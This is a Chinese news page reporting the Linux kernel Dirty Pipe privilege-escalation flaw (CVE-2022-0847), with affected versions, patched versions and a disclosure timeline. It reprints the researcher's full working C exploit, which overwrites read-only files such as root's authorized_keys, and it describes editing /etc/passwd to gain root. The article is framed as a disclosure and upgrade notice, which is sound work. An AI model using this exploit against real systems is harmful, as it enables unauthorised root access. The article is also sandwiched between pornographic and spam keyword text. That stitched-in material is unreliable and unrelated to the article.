精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Linux 內(nèi)核最新高危提權(quán)漏洞:臟管道 (Dirty Pipe)

安全 漏洞
來自 CM4all 的安全研究員 Max Kellermann 披露了一個 Linux 內(nèi)核的高危提權(quán)漏洞:臟管道 (Dirty Pipe)。漏洞編號為 CVE-2022-0847。

來自 CM4all 的安全研究員 Max Kellermann 披露了一個 Linux 內(nèi)核的高危提權(quán)漏洞:臟管道 (Dirty Pipe)。漏洞編號為 CVE-2022-0847。

據(jù)介紹,此漏洞自 5.8 版本起就已存在。非 root 用戶通過注入和覆蓋只讀文件中的數(shù)據(jù),從而獲得 root 權(quán)限。因為非特權(quán)進程可以將代碼注入 root 進程。

Max 表示,“臟管道”漏洞與幾年前的“臟?!鳖愃疲圆捎昧讼嗨频拿?,不過前者更容易被利用。此外,該漏洞目前已被黑客利用,研究人員建議盡快升級版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修復(fù)了此漏洞。

Max 在文章中提供了漏洞 PoC。

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}

int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

printf("It worked!\n");
return EXIT_SUCCESS;
}

據(jù)介紹,本地用戶可以將自己的數(shù)據(jù)注入敏感的只讀文件,消除限制或修改配置以獲得更高的權(quán)限。有研究人員通過利用該漏洞修改 /etc/passwd 文件進行了舉例,修改后可直接取消 root 用戶的密碼,然后普通用戶使用 su root 命令即可獲得 root 賬戶的訪問權(quán)限。還有研究人員發(fā)現(xiàn),使用 /usr/bin/su 命令刪除 /tmp/sh 中的 root shell 可以更容易獲取 root 權(quán)限。

最后,建議各位檢查所使用的 Linux 服務(wù)器的內(nèi)核版本,若是 5.8 以上的版本請盡快升級。

臟管道 (Dirty Pipe) 漏洞時間線:

  • 2022-02-20:向 Linux 內(nèi)核安全團隊發(fā)送錯誤報告、漏洞利用和補丁
  • 2022-02-21:在 Google Pixel 6 上復(fù)現(xiàn)錯誤,并向 Android 安全團隊發(fā)送錯誤報告
  • 2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建議,將補丁發(fā)送到 LKML(不含漏洞詳細信息)
  • 2022-02-23:發(fā)布包含錯誤修復(fù)的 Linux 穩(wěn)定版本 (5.16.11、5.15.25、5.10.102)
  • 2022-02-24:Google 將錯誤修復(fù)合并到 Android 內(nèi)核
  • 2022-02-28:通知 linux-distros 郵件列表
  • 2022-03-07:公開披露

本文轉(zhuǎn)自O(shè)SCHINA

本文標(biāo)題:Linux 內(nèi)核最新高危提權(quán)漏洞:臟管道 (Dirty Pipe)

本文地址:https://www.oschina.net/news/185559/linux-dirty-pipe-vulnerability

責(zé)任編輯:未麗燕 來源: 開源中國
相關(guān)推薦

2022-03-10 09:41:15

漏洞Linux內(nèi)核

2015-03-13 10:06:55

2009-02-04 11:24:12

2015-04-16 15:14:54

2015-07-13 09:18:20

2011-03-21 10:46:04

2010-12-10 15:23:49

Linux漏洞

2025-04-18 10:17:47

2013-11-29 15:34:00

2023-06-11 17:24:26

2021-05-01 20:52:30

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2023-09-11 06:59:59

2025-06-18 16:40:33

終端安全漏洞網(wǎng)絡(luò)安全

2009-09-02 18:33:45

2013-07-18 15:09:27

2009-08-17 08:47:07

2009-09-01 09:31:32

2009-04-24 14:08:25

2009-04-24 14:34:51

2020-11-16 10:55:41

Windows
點贊
收藏

51CTO技術(shù)棧公眾號

精品人妻av一区二区三区| 日韩午夜激情av| 亚洲精品www| 一区二区视频在线播放| 国产综合精品视频| 美女久久精品| 另类欧美日韩国产在线| 日韩激情片免费| 免费视频爱爱太爽了| 一区二区三区午夜| jvid福利在线一区二区| 一本一本久久a久久精品综合麻豆| 91精品综合久久| 999精品视频在线观看播放| 日本不卡一二三| 91视频免费看| 777午夜精品福利在线观看| 国产精品19p| www在线观看播放免费视频日本| 欧美色网址大全| 色诱亚洲精品久久久久久| 中文字幕在线亚洲三区| 少妇一级淫片免费看| 亚洲精品123区| 亚洲成人久久一区| 精品人妻少妇一区二区| 色婷婷av一区二区三| 日韩电影在线看| 这里只有精品视频在线| 手机在线看福利| 生活片a∨在线观看| 精品一区二区三区免费视频| 日韩在线播放视频| 精品亚洲视频在线| 18av在线播放| 成人美女视频在线观看18| 久久久久日韩精品久久久男男| 一级黄色免费视频| 午夜欧美激情| 国产欧美视频在线观看| 国产美女主播一区| 永久免费看片直接| 久久最新网址| 欧美男生操女生| 精品国产一区二区三区在线| 丰满少妇一级片| 免费亚洲婷婷| 日韩在线视频线视频免费网站| 中文 日韩 欧美| 草莓视频丝瓜在线观看丝瓜18| av不卡免费在线观看| 日本成熟性欧美| 三级黄色免费观看| av影片在线一区| 一区二区三区国产视频| 三年中文在线观看免费大全中国| 欧洲av一区二区| 亚洲精品自拍动漫在线| 久久精彩视频| 91禁在线观看| 精品一区二区三区视频| 国产欧美韩国高清| 国产精品亚洲lv粉色| 尤物在线精品| 正在播放国产一区| 午夜在线观看一区| 久久伦理中文字幕| 日韩欧美国产一区二区三区| aⅴ在线免费观看| 麻豆网站在线免费观看| 99久久精品免费观看| 国产日产欧美精品| 久久精品国产亚洲av香蕉| 精品久久网站| 在线观看不卡av| 国产日韩精品中文字无码| xxxx日韩| 在线电影院国产精品| 亚欧精品在线视频| 日本国产欧美| 亚洲一区二区成人在线观看| 日韩在线第一区| 色呦呦中文字幕| 久久亚洲私人国产精品va媚药| 92国产精品视频| 久久夜色精品国产噜噜亚洲av| 综合精品久久| 伊人av综合网| 国产精品丝袜一区二区| 欧美军人男男激情gay| 社区色欧美激情 | a级黄色片免费看| 999成人精品视频线3| 亚洲天堂男人天堂女人天堂| 中文字幕乱视频| 亚洲精品一区在线| 欧美高清hd18日本| 国产白袜脚足j棉袜在线观看| 亚洲香蕉视频| 日韩精品欧美激情| 综合 欧美 亚洲日本| 欧美99在线视频观看| www.午夜精品| 黄色片视频网站| 国内精品嫩模av私拍在线观看| 日韩最新免费不卡| www.youjizz.com亚洲| 久久性色av| 国产91精品最新在线播放| 黄色激情视频在线观看| 国产一区激情| 国产精品福利在线| 国产精品成人无码| 人禽交欧美网站| 国产精品久久久精品| 国产黄色av片| 成人美女在线观看| 亚洲一区二三| caoporm免费视频在线| 欧美性极品xxxx做受| 人妻有码中文字幕| 欧美9999| 色偷偷888欧美精品久久久| 日本一级淫片免费放| 国产一区二区0| 成人欧美视频在线| 丰满肥臀噗嗤啊x99av| 亚洲国产精品二十页| 亚洲永久激情精品| 日韩电影毛片| 在线免费视频一区二区| mm131国产精品| 超碰国产精品一区二页| 色综合久久综合网97色综合| 日韩大尺度视频| 都市激情亚洲欧美| 日韩久久精品电影| 久久精品—区二区三区舞蹈| 妖精视频成人观看www| 国产成人精品999| 91无套直看片红桃| 国产清纯白嫩初高生在线观看91| 噜噜噜久久亚洲精品国产品麻豆| 毛片免费看不卡网站| 欧美日韩一区二区三区高清| 九色91porny| 四虎成人精品永久免费av九九| 国产精品久久99久久| 日本一级在线观看| 国产精品国产精品国产专区不蜜| 97精品国产97久久久久久粉红| xxxx成人| 精品对白一区国产伦| b站大片免费直播| 一区二区国产在线| 成人黄色免费在线观看| 日韩一级免费毛片| 欧美激情一区不卡| 激情视频综合网| 视频二区欧美毛片免费观看| 亚洲视频国产视频| 在线观看成人毛片| 国产精品888| 水蜜桃一区二区| heyzo高清国产精品| 欧美性感一类影片在线播放| 第一页在线视频| 欧美午夜视频| 国产精品亚洲网站| 最新电影电视剧在线观看免费观看| 亚洲国产一区视频| v天堂中文在线| 午夜精品视频一区二区三区在线看| 91av在线精品| 国产香蕉视频在线看| 亚洲不卡av一区二区三区| 精品综合久久久久| 综合久久一区| 国产一区二区中文字幕免费看| 午夜小视频在线| 欧美一二三区在线| 国产精品第九页| 久久久久久电影| 毛片在线视频播放| 视频一区在线| 欧美在线激情网| 欧美69xxx| 精品88久久久久88久久久| 成人免费毛片男人用品| 亚洲欧洲一区二区三区| 久久综合久久色| 精品国产一区二区三区成人影院 | 中文字幕不卡的av| 五月六月丁香婷婷| 亚洲一区二区三区免费在线观看| 99理论电影网| 成人video亚洲精品| 亚洲黄一区二区| 中文字幕乱码视频| 国产日韩一级二级三级| 少妇性饥渴无码a区免费| 成人aaaa| 久久亚洲高清| 性国裸体高清亚洲| xxx欧美精品| 四虎成人免费在线| 精品国产31久久久久久| 亚洲一区二区三区黄色| 美女看a上一区| 亚洲欧洲精品在线 | yy6080午夜| 18成人免费观看视频| 亚洲欧洲三级| 免费久久精品| 国产精品视频入口| 成人免费高清观看| 日韩在线观看免费高清| 日本精品专区| 欧美精品一区二区精品网| 一区二区久久精品66国产精品 | 国内毛片久久| 91在线视频一区| 国产精品实拍| 日韩美女一区二区三区| 中文字幕 日韩有码| 一本一道波多野结衣一区二区| 亚洲一区二区91| 一区二区三区免费看视频| 亚洲精品乱码久久久久久9色| 免费在线欧美视频| 黄色一级一级片| 国产日本精品| 欧美亚洲一二三区| 在线成人亚洲| www.xxx麻豆| 欧美日韩一区二区高清| 懂色av一区二区三区四区五区| 久久99精品久久久野外观看| 国产精品免费久久久久影院| 男人天堂久久久| 亚洲最新视频在线| 欧美日韩在线精品一区二区三区激情综| 91精品1区2区| 丰满少妇高潮久久三区| 亚洲欧洲日韩女同| 大胸美女被爆操| 国产成人自拍高清视频在线免费播放 | 日韩毛片在线一区二区毛片| 欧美精品一区二区久久婷婷 | 成人在线视频国产| 亚洲aa在线观看| 精品久久久久久久久久岛国gif| 91精品久久久久久久久久久| 日韩三区四区| 国内精品400部情侣激情| 伊人电影在线观看| 九九热99久久久国产盗摄| 天堂av中文在线资源库| 亚洲成人久久网| 欧美性孕妇孕交| 国产一区二区美女视频| 午夜免费视频在线国产| 久久好看免费视频| 色av男人的天堂免费在线| 日韩精品视频免费| 国模吧精品人体gogo| 欧美xxxxx牲另类人与| 超碰在线观看91| 亚洲电影在线播放| 国产一区在线观看免费| eeuss影院一区二区三区| 双性尿奴穿贞c带憋尿| 国产精品一区二区久激情瑜伽| 青青在线视频免费| 美洲天堂一区二卡三卡四卡视频 | 成人国产激情在线| 91精品国产91久久久久久久久 | 亚洲午夜一级| 免费无码国产v片在线观看| 欧美一区在线看| 日韩国产一级片| 丝袜美腿一区二区三区| 在线观看免费不卡av| 丝袜美腿亚洲综合| 看看黄色一级片| 99这里都是精品| 成人免费视频入口| 亚洲va欧美va人人爽| 免费看污视频的网站| 精品电影在线观看| 中文字幕永久免费视频| 欧美mv日韩mv| 二区三区在线| 久久久久久免费精品| 怡红院在线播放| 日韩**中文字幕毛片| 国产成人免费视频网站视频社区| 国产综合 伊人色| 国产精品久久久久久麻豆一区软件| 日韩欧美一区二区视频在线播放| 亚洲一级淫片| 日本爱爱免费视频| 高清在线观看日韩| zjzjzjzjzj亚洲女人| 中文字幕av免费专区久久| 国产在线观看成人| 欧美日韩精品一区二区天天拍小说 | 亚洲先锋成人| 一区二区三区 欧美| 日日骚欧美日韩| 少妇献身老头系列| 国产精品欧美一区喷水| 少妇视频一区二区| 欧美日韩在线看| 无码人妻精品一区二| 日韩免费一区二区三区在线播放| 二区在线观看| 日av在线播放中文不卡| h视频久久久| 免费国产成人看片在线| 日本aⅴ亚洲精品中文乱码| bl动漫在线观看| 亚洲综合色在线| 精品免费久久久| 久久人体大胆视频| 免费在线毛片网站| 日韩免费在线免费观看| 国内精品麻豆美女在线播放视频 | 日韩视频123| 黄色免费网站在线观看| 国产精品流白浆视频| 伊人成综合网伊人222| 国产精品va无码一区二区| 成人免费看黄yyy456| 久草网视频在线观看| 精品国产91久久久久久| 亚洲精品字幕在线观看| 国产丝袜视频一区| 国产资源在线观看入口av| 奇米4444一区二区三区| 欧美18xxxx| 亚洲精品成人a8198a| 日韩高清在线不卡| 免费人成又黄又爽又色| 在线日韩一区二区| 成人在线观看免费| 欧美疯狂xxxx大交乱88av| 色老头在线一区二区三区| 国产福利一区二区三区在线观看| 欧美三级午夜理伦三级中文幕| 人妻体体内射精一区二区| 一区二区在线观看视频在线观看| 国产精品久久久久久久久久久久久久久久久 | 9999在线视频| 国产一区二区三区四区五区加勒比 | 一级成人免费视频| 亚洲精品在线三区| av剧情在线观看| 欧美大香线蕉线伊人久久国产精品 | 国产综合久久久久久鬼色| 好吊色视频在线观看| 精品日韩在线一区| 成人影院在线视频| 美乳视频一区二区| 美日韩一级片在线观看| 免费黄色激情视频| 日韩欧美一区二区不卡| 超碰成人av| 日本成人黄色免费看| 欧美激情一级片一区二区| 最新中文字幕日本| 黄色一区二区三区| 国产在线视频你懂得| 国产日韩中文字幕| 亚洲福利精品| 91视频免费观看网站| 欧美军同video69gay| 欧美hdxxxxx| 亚洲永久免费观看| 亚洲精选国产| 国产精品无码无卡无需播放器| 欧美一区二区三区精品| av中文字幕在线| 91在线视频免费| 美女日韩在线中文字幕| yy1111111| 欧美自拍偷拍午夜视频| 18加网站在线| 日韩精品一线二线三线| 高清久久久久久| 中文字幕一区二区免费| 国内自拍欧美激情| 成人免费看片39| 国产免费一区二区三区最新6| 在线看一区二区| 黄页在线观看免费| 亚洲狠狠婷婷综合久久久| 国产ts人妖一区二区| 中国女人真人一级毛片| 国模私拍视频一区|